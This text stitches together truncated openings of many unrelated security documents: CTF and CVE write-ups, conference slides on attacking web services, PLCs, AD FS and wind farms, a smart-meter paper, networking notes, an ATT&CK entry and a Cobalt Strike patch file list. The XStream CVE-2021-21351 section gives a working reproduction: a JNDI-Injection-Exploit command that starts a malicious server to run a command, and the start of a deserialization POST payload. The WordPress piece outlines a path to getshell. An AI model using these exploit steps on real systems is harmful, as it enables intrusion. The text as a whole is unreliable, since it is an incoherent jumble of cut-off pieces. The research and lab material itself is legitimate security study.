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wordpress <5.8.3 对象注入漏洞 本文仅用于技术讨论与研究文中的实现方法切勿应用在任何违法场景如因涉嫌违法造成的一切不良 影响本文作者概不负责 本文由本人在今年2月份发表于奇安信攻防社区 https://forum.butian.net/share/1303 因此在 一些关于时间的描述上存在误差请谅解 0x00 漏洞描述 看了 wordpress 注入 CVE-2022-21661 的洞之后发现还存在另外一个对象注入漏洞具有管理 员权限的用户通过更改一些选项将有机会 getshell  0x01 漏洞影响 getshell 的条件 wordpress < 5.8.3 启用多站点模式 存在一条可用的反序列化链在本文中不会讲这个 这是 github 上的漏洞修复记录 因此这里的环境选择前一条提交 0x02 漏洞分析 这里是以我复现这个漏洞时候的角度来分析的因此会有一些弯路 漏洞入口点 首先来到 wp-admin/upgrade.php 这是管理员可以直接访问到的文件也是我认为的此漏洞的入口 点 https://github.com/WordPress/WordPress/commit/66bb979049fa1a515d031e53ab100d507e d7bc8b git clone https://github.com/WordPress/WordPress git checkout 7d20ea9 跟进 wp_upgrade 函数来到 wp-admin/includes/upgrade.php 首先看几个全局变量 $wp_db_version 在 wp-includes/version.php 中定义根据其定义处的注释 来看这是本安装程序的数据库版本在下一行中从数据库中取出了 db_version 赋值给 $wp_current_db_version 看这情况大概是一个是固定的数据库版本另一个是可变的 upgrade.php 会时不时地比较当发生改变时会进行一些操作 接下来看到我下的断点处进入 upgrade_all() 函数 这里就是在将两个版本进行比较一致时不发生任何变化不一致时运行后面的代码接着看下面 根据从数据库中取出的 db_version 也就是此处的 $wp_current_db_version 的大小会进行不同的 处理我们来关注断点处的 upgrade_280 函数 看到 1611 行的 is_multisite() 跟进 这是一个判断是否开启了多站点的函数这也是本漏洞的一个开启条件必须要开启多站点才可以开 多站点需要改配置文件我这里图省事儿直接改了判断条件 !is_multisite() 强行让他绕过了 继续看上面进入循环每次从 wp_options 表中取 20 条数据将每一条数据都进行反序列化漏洞 的点就在此处了因为 wp_options 中的数据大部分都是可控的我们可以通过管理员修改其值最后 进入反序列化 还有两个问题第一如何控制 db_version 的值让他进入我们想要进入的函数第二如何更改 wp_options 中的值 数据写入 其实这两个是同一个问题一并解决 wordpress 后台没有直接访问所有 options 的按钮但我们可 以访问 wp-admin/options.php 这里可以更改 db_options 中大部分的值包括 db_version 我们将其修改为 10300就满足了进入 漏洞函数的要求接下来我们尝试写入反序列化字符串 我们先随便选择一个选项写入反序列化字符串这里我首先选择的是 blogdescription 也就是博客 描述这个也可以在常规选项中更改更建议因为需要处理的值会更少调试没那么费力, post 的 数据会逐个进入 wp-includes/option.php 中的 update_option 来看几个比较重要的函数PS太 长截图截不完 这里首先说明一下 $option 是每个选项的键 $value 是每个选项的值 首先看到 sanitize_option 这个函数会根据不同的键来选择不同的处理方式比如一些一定会用整数的就会 intval 处理所以 选择的选项也是有讲究的我之前选择的 blogdescription 就因为这个函数而无法使用他会将一些 特殊字符编码导致无法正常反序列化这个可以慢慢尝试尽量选择这个函数不会进行太多处理的选 项 最终我选择的是 wp-admin/options-writing.php 中的 密码选择 options.php 中的 mailserver_pass 也一样是同一个一般来说密码对字符都不会有太多的限制至少这里是的 回到之前的 update_option 的代码稍微注意一下这里的比较 如果我们输入的选择没有发生改


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# Time's Up Reverse Engineering, 400 points ## Description: > Time waits for no one. Can you solve this before time runs out? ## Solution: Let's run the attached file: ```console root@kali:/media/sf_CTFs/pico/Times_Up# ./times-up Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) Setting alarm... Solution? Alarm clock ``` We got a mathematical expression, and shortly after, the program got killed by an alarm. How long is the alarm? Let's use `strace` to see: ```console root@kali:/media/sf_CTFs/pico/Times_Up# ./times-up Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) Setting alarm... Solution? Alarm clock root@kali:/media/sf_CTFs/pico/Times_Up# strace ./times-up execve("./times-up", ["./times-up"], 0x7ffc13ffff80 /* 22 vars */) = 0 brk(NULL) = 0x5569a8f2d000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=138446, ...}) = 0 mmap(NULL, 138446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe7a2030000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260A\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1824496, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe7a202e000 mmap(NULL, 1837056, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe7a1e6d000 mprotect(0x7fe7a1e8f000, 1658880, PROT_NONE) = 0 mmap(0x7fe7a1e8f000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP


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VirGraf101: An Introduction to Virtual Graffiti Tottenkoph What is virtual graffiti?  Virtual objects and/or digital messages, images, animations, etc.  Applied to or viewable from public locations  Can be viewed through:  Computers  Mobile devices  Billboards  Signs  Side of buildings What were covering  History of graffiti  Examples  Legal concerns and implications  Who and why? History: Prehistoric  Supposedly done over 30,000 years ago  Started with cave paintings  Used animal bone and pigments  Debatable because:  Used during religious ceremonies  Sometimes endorsed by society History: Ancient Greece  First instance was in Ephesus  Etched in stone and mosaics  Supposedly a prostitution advert  Picture of:  Heart-shaped handprint  Footprint  Number History: Ancient Rome  Included: curses, quotes, alphabets, declarations of love, slogans  Some was preserved in Pompeii  Most well-known:  suspirium puellarum Celadus thraex  Address for Novellia Primigenia of Nuceria  mansueta tene History: Misc. Pre-Modern  Mayans at the site of Tikal in Guatemala  Vikings in Rome, Ireland, and Constantinople  Renaissance artists at Neros Domus Aurea  Signature Rock  French soldiers during the Napoleonic campaign of Egypt History: Modern Graffiti (60s-70s)  Used mostly by political activists and gangs  Moved from streets to subway systems  Goal: out-tag and out- bomb other artists  Polka dots, cross-hatches, and checkers became popular  Spray paint helped a lot  Top-to-bottoms came about History: Modern Graffiti (1980s)  Harder to be a graffiti artist because:  Crack  Police  Store owners  Metropolitan Transit Authority  As a result, street and rooftop graffiti became more popular. History: Modern Graffiti (2000s)  Utilized as guerilla advertising by companies  IBM  Sony  Mainstream pop culture started to catch on  Video games (Jet Set Radio Future, Rakugaki Okaku)  Clothes design (Marc Ecko) Tried and True brought to you by: Throwies and Floaties  Most common and popular forms of


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Information Security Partners, LLC iSECPartners.com Attacking Web Services Alex Stamos alex@isecpartners.com Defcon XIII Scott Stender scott@isecpartners.com www.isecpartners.com Information Security Partners, LLC 2 Introduction  Who are we?  Founding Partners of Information Security Partners, LLC (iSEC Partners)  Application security consultants / researchers  Why listen to this talk?  As youll see, Web Services are being deployed all around us  All of this work is based upon our experiences with real enterprise web service applications  There are a lot of interesting research opportunities  Find out what we dont know  The latest version of these slides and tools are available here:  https://www.isecpartners.com/defcon.html www.isecpartners.com Information Security Partners, LLC 3 Introduction: What are Web Services?  Its an overloaded term (and a great way to raise VC)  For our purposes, web services are communication protocols that:  Use XML as the base meta-language to define communication  Provide computer-computer communication  Use standard protocols, often controlled by W3C, OASIS, and WS-I  Designed to be platform and transport-independent www.isecpartners.com Information Security Partners, LLC 4 Introduction: What are Web Services?  Why are they so compelling?  Web service standards are built upon well understood technologies  Adoption by large software vendors has been extremely quick  Web services are sometimes described as a panacea to solve interoperability issues  Lots of magic pixie dust  Are very easy to write: using System.ComponentModel; using System.Web.Services; namespace WSTest{ public class Test : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { return "Hello World; } } } www.isecpartners.com Information Security Partners, LLC 5 Introduction: What are Web Services?  Value to corporate management is easy to understand  Fake quote: Lets expose our Mainframe APIs through SOAP and use plentiful Java developers on Windows/L


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中国.北京 KCon黑客大会 工业PLC远程控制实现 演讲人剑思庭 2 0 1 8 PART 01 个人介绍 目录 CONTENTS PART 02 架构/工具 PART 03 远控渗透 01 02 03 PART 01 个人介绍 剑思庭 工业网络安 全技术顾问 Rockwell Automation 工控安全 渗透和防御 PART 02 构架/工具 VPS Kali 边界路由器 核心防火墙 工业交换机 P-NAT 关闭102端口 STEP7 工程师站 S7-315-PN/DP 互联网 企业边缘网络 企业内网网络 企业工厂网络 http://snap7.sourceforge.net/ $ sudo add-apt-repository ppa:gijzelaar/snap7 $ sudo apt-get update $ sudo apt-get install libsnap71 libsnap7-dev $ pip install python-snap7 PART 03 远控渗透 悄无声息 PLC远控代码植入不能造成PLC重启 FB64 TCON FB65 TSEND FB66 TRCV FB67 TDISCON PLC IP地址 PLC CPU槽号 Block类型和No. 上载远控功能块 存储功能块为MC7 连接被远控PLC 装载功能块MC7文件 下装MC7文件到PLC PLC内完整的远控植入程序 TCP建立连接 参数 声明 数据类型 存储区 描述 REQ INPUT BOOL IQMDL 控制参数REQUEST启动建立由ID指定的连接的作业作业在上升 沿启动 ID INPUT WORD MD常数 与远程伙伴之间建立的连接或用户程序和操作系统通信层之间建立的 连接的标识号标识号必须与本地连接描述中的相关参数标识号相同取值范围W#16#0001至 W#16#0FFF DONE OUTPUT BOOL IQMDL DONE状态参数0作业尚未开始或仍在运行1无错执行 作业 BUSY OUTPUT BOOL IQMDL BUSY = 1作业尚未完成BUSY = 0作业完成 ERROR OUTPUT BOOL IQMDL ERROR状态参数?ERROR = 1处理作业期间出现错误 STATUS返回有关错误类型的详细信息 STATUS OUTPUT WORD MD STATUS状态参数故障信息 CONNECTIN_OUT ANY D 指向相关连接说明的指针(UDT 65)参见为使用TCP和ISO on TCP的开放通信连 接分配参数和为使用UDP的本地通信接入点分配参数 TCP发送数据 参数 声明 数据类型 存储区 描述 REQ INPUT BOOL IQMDL 控制参数REQUEST在上升沿开始发送作业数据从由DATA和LEN指定的区域 传送 ID INPUT WORD MD常数 将终止对连接的引用标识号必须与本地连接描述中的相关参数标识号相同 取值范围W#16#0001至W#16#0FFF LEN INPUT INT IQMDL 要使用作业发送的最大字节数参见使用的CPU和协议变量(connection_type)和可 传送数据长度之间的关系 DONE OUTPUT BOOL IQMDL DONE状态参数0作业尚未开始或仍在运行1无错执行作业 BUSY OUTPUT BOOL IQMDL BUSY = 1作业尚未完成无法触发新作业?BUSY = 0作业完成 ERROR OUTPUT BOOL IQMDL ERROR状态参数ERROR = 1处理时出错STATUS提供有关错误类型的 详细信息 STATUS OUTPUT WORD MD STATUS状态参数故障信息 DATA IN_OUT ANY IQMD 发送区域包含地址和长度地址指的是输入过程映像?输出过程映像?存储器位? 数据块注意不要使用BOOL类型的ARRAY作为发送区域 参数 声明 数据类型 存储区 描述 EN_R INPUT BOOL IQMDL 使能接收的控制参数EN_R =?时FB 64 "TRCV"准备接收正在处理 接收作业 ID INPUT WORD MD常数 将终止对连接的引用标识号必须与本地连接描述中的相关参数标识号相同 取值范围W#16#0001至W#16#0FFF LEN INPUT INT IQMDL 接收区域的长度(以字节为单位)关于LEN =?或LEN <>?的含义请参见上文(FB64 "TRCV"的接收模式)对于值的范围请参见使用的CPU和协议变量(connection_type)和可传送数据长度之间的关系 NDR OUTPUT BOOL IQMDL NDR状态参数?NDR = 0作业尚未开始或仍在运行?NDR = 1作业成功 完成 ERR


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OPTIGUARD: A SMART METER ASSESSMENT TOOLKIT July 14, 2012 Presented by: INGUARDIANS, INC. Don C. Weber, Senior Security Analyst don@inguardians.com White Paper OptiGuard: A Smart Meter Assessment Toolkit 2 July 14, 2012 Copyright 2012 InGuardians, Inc. TABLE OF CONTENTS 1.0 Role of Smart Meters_________________________________________________ 3 2.0 Risk Presented by the Optical Port ______________________________________ 4 3.0 OptiGuard _________________________________________________________ 7 4.0 Optical Port Risk Mitigations __________________________________________ 10 5.0 Conclusion _______________________________________________________ 11 6.0 Acknowledgements _________________________________________________ 12 OptiGuard: A Smart Meter Assessment Toolkit 3 July 14, 2012 Copyright 2012 InGuardians, Inc. 1.0 ROLE OF SMART METERS The meter portion of the electrical grids throughout the world is swiftly being converted to Smart Meters. The news is littered with public disclosures of smart meter sales and implementations.1 Smart Meters, one of the primary components of a utility's Advanced Metering Infrastructure (AMI), play an important role to improving the stability, efficiency, and reliability of the new, smarter electrical grid. Smart Meters accomplish this by providing utilities with accurate, real-time and historical, consumption data. Smart Meters also put in place mechanisms to manage the stability of the grid. They do this by controlling demand with the assistance of their customers. In a world where the demand for electricity is rapidly increasing,2 the Smart Meter offers one method to provide better management and ensure peak load reductions.3 As with all new technologies, Smart Meters are still being evaluated for security risks. For years utilities have been heavily dependent on the stability and resilience of the hardware that comprises their infrastructure. It is not unheard of for electrical equipment to have a forty-year-plus lifespan4 with twen


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version: '2' services: nginx: image: vulhub/nginx:1.4.2 volumes: - ./nginx.conf:/usr/local/nginx/conf/nginx.conf - ./www:/usr/local/nginx/html ports: - "8080:80" php: build: ./php-fpm/ volumes: - ./www:/var/www/html


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# 计算机网络 - 传输层  * [计算机网络 - 传输层](#计算机网络---传输层) * [UDP 和 TCP 的特点](#udp-和-tcp-的特点) * [UDP 首部格式](#udp-首部格式) * [TCP 首部格式](#tcp-首部格式) * [TCP 的三次握手](#tcp-的三次握手) * [TCP 的四次挥手](#tcp-的四次挥手) * [TCP 可靠传输](#tcp-可靠传输) * [TCP 滑动窗口](#tcp-滑动窗口) * [TCP 流量控制](#tcp-流量控制) * [TCP 拥塞控制](#tcp-拥塞控制) * [1. 慢开始与拥塞避免](#1-慢开始与拥塞避免) * [2. 快重传与快恢复](#2-快重传与快恢复)  网络层只把分组发送到目的主机但是真正通信的并不是主机而是主机中的进程传输层提供了进程间的逻辑通信传输层向高层用户屏蔽了下面网络层的核心细节使应用程序看起来像是在两个传输层实体之间有一条端到端的逻辑通信信道 ## UDP 和 TCP 的特点 - 用户数据报协议 UDPUser Datagram Protocol是无连接的尽最大可能交付没有拥塞控制面向报文对于应用程序传下来的报文不合并也不拆分只是添加 UDP 首部支持一对一一对多多对一和多对多的交互通信 - 传输控制协议 TCPTransmission Control Protocol是面向连接的提供可靠交付有流量控制拥塞控制提供全双工通信面向字节流把应用层传下来的报文看成字节流把字节流组织成大小不等的数据块每一条 TCP 连接只能是点对点的一对一 ## UDP 首部格式

 首部字段只有 8 个字节包括源端口目的端口长度检验和12 字节的伪首部是为了计算检验和临时添加的 ## TCP 首部格式

 - **序号** 用于对字节流进行编号例如序号为 301表示第一个字节的编号为 301如果携带的数据长度为 100 字节那么下一个报文段的序号应为 401 - **确认号** 期望收到的下一个报文段的序号例如 B 正确收到 A 发送来的一个报文段序号为 501携带的数据长度为 200 字节因此 B 期望下一个报文段的序号为 701B 发送给 A 的确认报文段中确认号就为 701 - **数据偏移** 指的是数据部分距离报文段起始处的偏移量实际上指的是首部的长度 - **确认 ACK** 当 ACK=1 时确认号字段有效否则无效TCP 规定在连接建立后所有传送的报文段都必须把 ACK 置 1 - **同步 SYN** 在连接建立时用来同步序号当 SYN=1ACK=0 时表示这是一个连接请求报文段若对方同意建立连接则响应报文中 SYN=1ACK=1 - **终止 FIN** 用来释放一个连接当 FIN=1 时表示此报文段的发送方的数据已发送完毕并要求释放连接 - **窗口** 窗口值作为接收方让发送方设置其发送窗口的依据之所以要有这个限制是因为接收方的数据缓存空间是有限的 ## TCP 的三次握手

 假设 A 为客户端B 为服务器端 - 首先 B 处于 LISTEN监听状态等待客户的连接请求 - A 向 B 发送连接请求报文SYN=1ACK=0选择一个初始的序号 x - B 收到连接请求报文如果同意建立连接则向 A 发送连接确认报文SYN=1ACK=1确认号为 x+1同时也选择一个初始的序号 y - A 收到 B 的连接确认报文后还要向 B 发出确认确认号为 y+1序号为 x+1 - B 收到 A 的确认后连接建立 **三次握手的原因** 第三次握手是为了防止失效的


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Douglas Bienstock and Austin Baker I AM AD FS AND SO CAN YOU 2019 FireEye 2019 FireEye  Whoami  What is AD FS and how does it work?  How do we find AD FS servers?  How can we attack AD FS?  How can we become (takeover) AD FS?  Tools and Demos  Best practices and mitigations  Goal: Understand AD FS, how we can attack it and why we want to, and how to keep it safe Roadmap 2019 FireEye 2019 FireEye  4.5 years of experience at Mandiant  IR and Red Team lead  Speaks fluent cloud Doug Bienstock - @doughsec 3 2019 FireEye 2019 FireEye  IR and Red Team  5.5 years at Mandiant  Teaches some classes and stuff  Plays some games and junk Austin Baker - @bakedsec 4 MSFT AD FS  WTF? 2019 FireEye 2019 FireEye  Single-Sign On (SSO) solution for applications that dont integrate directly to Active Directory  In plaintext: use AD creds for services/apps outside AD  Centralizes both authentication, identity management, token issuance  Basically required for any large org now  We must go deeper Active Directory Federated Services 6 2019 FireEye 2019 FireEye  Organizations are increasingly moving to the cloud  AD as a data/security boundary no longer exists  AD FS is commonly the gateway to the cloud for organizations  If we can own AD FS we can own the cloud  As security practitioners we must keep up with the move to the cloud OK  but why do we care? 7 2019 FireEye 2019 FireEye  Claims: Statements about a users identity  Description (type) and value  Attribute Store: Where claims are sourced from (e.g. AD)  Claims Rules: Business logic that takes incoming claims, apply conditions, and produce new outgoing claims based on those conditions. Applied in the claims pipeline  c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccou ntname", Issuer == "AD AUTHORITY"] => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"), query = ";mail;{0}", param = c.Value); Building blocks 8 2019 FireEye 2019 FireEye 1. Star


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# XStream 反序列化命令执行漏洞CVE-2021-21351 XStream是一个轻量级简单易用的开源Java类库它主要用于将对象序列化成XMLJSON或反序列化为对象 XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞但是其 1.4.15 及之前版本黑名单存在缺陷攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入进而执行任意命令 参考链接 - https://x-stream.github.io/CVE-2021-21351.html - https://paper.seebug.org/1543/ - https://www.veracode.com/blog/research/exploiting-jndi-injections-java - https://github.com/welk1n/JNDI-Injection-Exploit/ ## 漏洞环境 执行如下命令启动一个Springboot + XStream 1.4.15的环境 ``` docker compose up -d ``` 环境启动后我们向`http://your-ip:8080`发送一个正常的XML数据包将会得到预期返回 ![](1.png) ## 漏洞复现 由于目标环境Java版本高于8u191故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令 使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/)启动恶意JNDI服务器 ``` java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142 ``` ![](2.png) 使用上图中基于SpringBoot利用链的RMI地址作为`<dataSource>`的值构造POC如下 ``` POST / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3184 <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__overrideDefaultParser>false</__overrideDefaultParser> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.Jd


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# Fiked包描述 FakeIKEd简称fiked是一个假的IKE守护进程它支持足够的标准和思科扩展可以以semi MitM的方式攻击常见不安全的基于IPsec身份验证设置的Cisco VPN PSK +XAUTHFiked可以模拟VPN网关的IKE响应程序以捕获XAUTH登录凭据; 目前fiked并没有full MitM的客户端 **资料来源**:http://www.roe.ch/FakeIKEd [fiked主页](http://www.roe.ch/FakeIKEd)|[Kali fiked Repo](http://git.kali.org/gitweb/?p=packages/fiked.git;a=summary) - 作者Daniel Roethlisberger - 许可证GPLv2 ## fiked包中包含的工具 ### fiked-Cisco VPN攻击工具 ``` root@kalifiked -h 用法fiked [-rdqhV] -g gw -k IDPSK [-k ..] [-u用户] [-l文件] [-L文件] -r 使用原始套接字forge ip src addr 匹配<网关>禁用-u -d 从tty分离并作为守护程序运行说明-q -q 静默模式不记录任何东西到stdout -h 显示帮助和退出 -V 显示版本和退出 -g gw 模拟网关VPN地址 -kik 预共享密钥亦称组密码共享秘密前缀为其组/密匙ID第一个-k设置默认值 -u 用户 下降到一个非特权用户的权限 -l 文件 附加结果到凭证日志文件 -L 文件 verbous 记录为文件而不是stdout ``` ## fiked用法示例 ``` root@kali:~#即将推出 ``` [原文链接](http://tools.kali.org/sniffingspoofing/fiked)


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1 dogcs 4.4 patch补丁分析 声明 加我们的社区 前 件对 JAVA端 aggressor/Aggressor.class aggressor/AggressorClient.class aggressor/browsers/Connect.class aggressor/browsers/Sessions.class aggressor/dialogs/AboutDialog.class aggressor/dialogs/ConnectDialog.class aggressor/headless/Start.class aggressor/MultiFrame.class aggressor/TabManager.class aggressor/windows/BeaconConsole.class aggressor/windows/CredentialManager.class aggressor/windows/DownloadBrowser.class aggressor/windows/FileBrowser.class aggressor/windows/Files.class aggressor/windows/KeystrokeBrowser.class aggressor/windows/ScreenshotBrowser.class aggressor/windows/SecureShellConsole.class beacon/BeaconC2.class beacon/BeaconData.class beacon/BeaconHTTP.class beacon/BeaconPayload.class beacon/BeaconSetup.class beacon/CommandBuilder.class 2 beacon/jobs/DesktopJob.class beacon/TaskBeacon.class beacon/TaskBeaconCallback.class beacon/Tasks.class c2proﬁle/MalleableHook.class c2proﬁle/MalleableStager.class cloudstrike/NanoHTTPD.class cloudstrike/WebServer.class common/AssertUtils.class common/AuthCrypto.class common/Authorization.class common/BeaconEntry.class common/CommonUtils.class common/Download.class common/Helper.class common/License.class common/ListenerConﬁg.class common/LoggedEvent.class common/MudgeSanity.class common/Requirements.class common/Starter.class common/Starter2.class common/TeamSocket.class dns/AsymmetricCrypto.class dns/BaseSecurity.class server/Beacons.class server/Listeners.class server/ManageUser.class server/Resources.class server/ServerUtils.class server/TeamServer.class ssl/SecureServerSocket.class 3 ssl/SecureSocket.class stagers/BeaconBindStagerX64.class stagers/BeaconBindStagerX86.class stagers/BeaconDNSStagerX86.class stagers/BeaconHTTPSStagerX64.class stagers/BeaconHTTPSStagerX86.class stagers/BeaconHTTPStagerX64.class stagers/BeaconHTTPStagerX86.class stagers/BeaconPipeStagerX86.class stagers/ForeignHTTPSStagerX86.class stagers/ForeignHTTPStagerX86.class stagers/ForeignReverseStagerX64.class stag


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Breaking Wind: Adventures in Hacking Wind Farm Control Networks Jason Staggs, Ph.D. University of Tulsa Tulsa, Oklahoma whoami  Security researcher  Focus in control systems and network security  PhD in Computer Science from The University of Tulsa  Cellular networks, security engineering and forensics  Presented How to Hack your Mini Cooper  @ DEFCON 21  CAN bus tricks and message reverse engineering  I enjoy trying to break things...  Sometimes I try to fix them  Sometimes people dont listen 2 **Disclaimer**  All affected parties have been notified of identified security issues that are about to be presented  I am NOT a power grid engineer!  Dont try this at home (without permission) 3 Why Hack a Wind Farm?  Wind energy  Becoming the predominant source of renewable energy  4.7% of electricity generated in the United States in 2015  Contribution expected to climb to 20% by 2030  Increased reliance on wind energy draws attention to attackers  Modern wind farms are operated by computers and networks  Whats the worst that could happen?  https://www.youtube.com/watch?v=wfzgIxMEo8g  Mechanical failures can be influenced by targeting insecure control networks!  But most importantly 4 To Prevent Attackers from Turning these Peaceful Systems 5 Into Targets of Ransomware or 6 Give me $$$$$ Into Massive Burning Wastelands 7 What is a Wind Farm?  Power plant that converts wind into electricity  Wind turbines  Variable power source that generates energy from wind  Substations  Collects the energy produced by wind turbines and feeds it into the power grid  IEC-61400-* specifications  Defines design, operations and communications requirements 8 Red Teaming a Wind Farm Red Teaming at Over 300 Feet Wind Turbine Anatomy 11 Nacelle Turbine Communications Infrastructure 12 Wind Farm Operations Control Network 13 IEC-61400-25  Defines uniform communications requirements for wind power plants  Support for a handful of protocols  SOAP-based web services  OPC XML-DA  DNP3  IEC 60870-5-10


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1 Call the plumber  You have a leak in your (named) pipe 2  Presenter introduction  Key terms  Connecting to named pipes  Pipe ACLs And Connection Limitation  Named pipes in the wild Agenda  Enumerating And Scanning For Named Pipes  Sniffing Named Pipes Content  Fuzzing Named Pipes  Exploitation And Impact  Case studies & Live demo!  Mitigation And Defense 3 Gil Cohen CTO, Comsec Global  IDF Programming course graduate (Mamram) and former waterfall developers  Cyber Security professional with more than 12 years of experience  Vast comprehensive knowledge in penetration tests, secured design, programmers training and information security in general 30 years Established in 1987, Comsec has nearly three- decades of experience in all aspects of information security. 150 consultants Allows us to deliver a broad spectrum of services and to provide a uniquely flexible service level. 600 clients From blue chip companies to start-ups, Comsec has a deep sector expertise in most verticals and un- paralleled understanding of our clients business environment. 22 countries With offices in London, Rotterdam and excellence center in Tel Aviv, Comsec is able to deliver global impact through local presence spanning over 22 countries and five continents. Your host 4 core Services Innovation, Knowledge & Experience to Keep You Ahead of the Curve. Technical Security Services SDLC Strategy & Developer Training Architecture Design & Review Security Code Review Infrastructur e & Application Testing Mobile & IoT Security Testing Penetration Testing Offensive Security Services DDoS Readiness & Simulation Online Discovery & Security Intelligence Incident Response & Crisis Mngmt Red Team Exercises Executive Cyber Drill Employee Awareness Training & Social Engineering Exercises Governance Risk & Compliance Risk Management PCI DSS PA DSS P2PE Certification CISO as a Service ISO 27001 ISO 27032 GDPR HIPAA Cloud Readiness Cyber Readiness & Strategy 5 Key Terms 6 Introduction To Key Terms IPC or In


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# T1589-001-收集目标组织身份信息-凭证 ## 来自ATT&CK的描述 在入侵受害者之前攻击者可能会收集凭证信息这些信息可以在目标定位期间使用攻击者收集的帐户凭据可以是与目标受害者组织直接相关的凭据也可以尝试利用用户倾向于在个人帐户和企业帐户中使用相同密码的趋势 攻击者可以通过各种方式收集此信息例如通过[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)攻击者还可能入侵站点然后植入旨在收集访问者网站认证cookie的恶意内容引自ATT ScanBox凭证信息也可能通过在线或其他可访问的数据集例如[搜索引擎](https://contribute.knowledge.qihoo.net/detail/technique/T1593/002)泄露凭据转储代码仓库等暴露给攻击者引自Register Deloitte引自Register Uber引自Detectify Slack Tokens引自Forbes GitHub Creds引自GitHub truffleHog引自GitHub Gitrob引自CNET Leaks攻击者还可以从暗网或其他黑市购买凭证收集这些信息可能为其他形式的侦察提供可能性例如[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)建立运营资源例如[入侵账号](https://contribute.knowledge.qihoo.net/detail/technique/T1586)或实现初始访问例如[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[有效账号](https://contribute.knowledge.qihoo.net/detail/technique/T1078) ## 测试案例 1在tg-sgk机器人处直接输入受害者的邮箱微博地址手机号码QQ等进行查寻受害者的密码信息 2google hacking常见搜索引擎shodan/FOFA/Zoomeye等 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高并且相关的误报率也很高并且有可能发生在目标组织的视野之外从而使防御者难以发现 检测工作可能会集中在攻击者生命周期的相关阶段例如在"初始访问"阶段 ## 关联TIP [[T1589-002-收集目标组织身份信息-邮箱地址]] [[T1589-003-收集目标组织身份信息-员工姓名]] ## 参考推荐 MITRE-ATT&CK-T1589-001 <https://attack.mitre.org/techniques/T1589/001/>


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WHY CORRUPTED (?) SAMPLES IN RECENT APT? CASE OF JAPAN AND TAIWAN By Suguru Ishimaru Dec 2016 Introduction 3 | Introduction $ whoami Suguru_ISHIMARU $ whois suguru_ishimaru Job_title: Researcher Department: Global Research Analysis Team Organization: Kaspersky Labs E-mail: suguru.ishimaru[at]kaspersky.com https://securelist.com/blog/events/75730/conference-report-hitcon-2016-in-taipei/ My last blogpost was Conference Report: HITCON 2016 in Taipei Contents 5 | Contents $ history | tail -n5 139 problem 140 motivation 141 emdivi 143 elirks 144 conclusion Problem 7 | Problem: A lot of targeted attacks More than 40 APT 8 | Problem: The biggest issue is... Question: What is the biggest problem in APT seen from antivirus side? Hard work No detect No sample We collect mass spread samples. However, we could not get APT samples easily. Especially, second stage sample is extremely rare. 9 | Problem: Corrupted samples We found samples, sometimes they were corrupted. That means they are executable but crashing: 1. Memory dump 2. Unknown binary data 3. Broken data 4. Cured by Anti Virus 5. Quarantined file 6. Password encrypted archive without password 10 | Problem: Why corrupted samples? Question: Why corrupted samples in recent APT? I will tell you my answer in conclusion Motivation 12 | Motivation: What should we do? Question: What should we do when we got corrupted malware in APT? Just Ignore Deep Analysis Make AV signature 1. Checking really corrupted or not 2. Getting information of related others 13 | Motivation: Two recent APT cases Probably corrupted (?) samples have found in two recent APT. Emdivi Elirks Emdivi 15 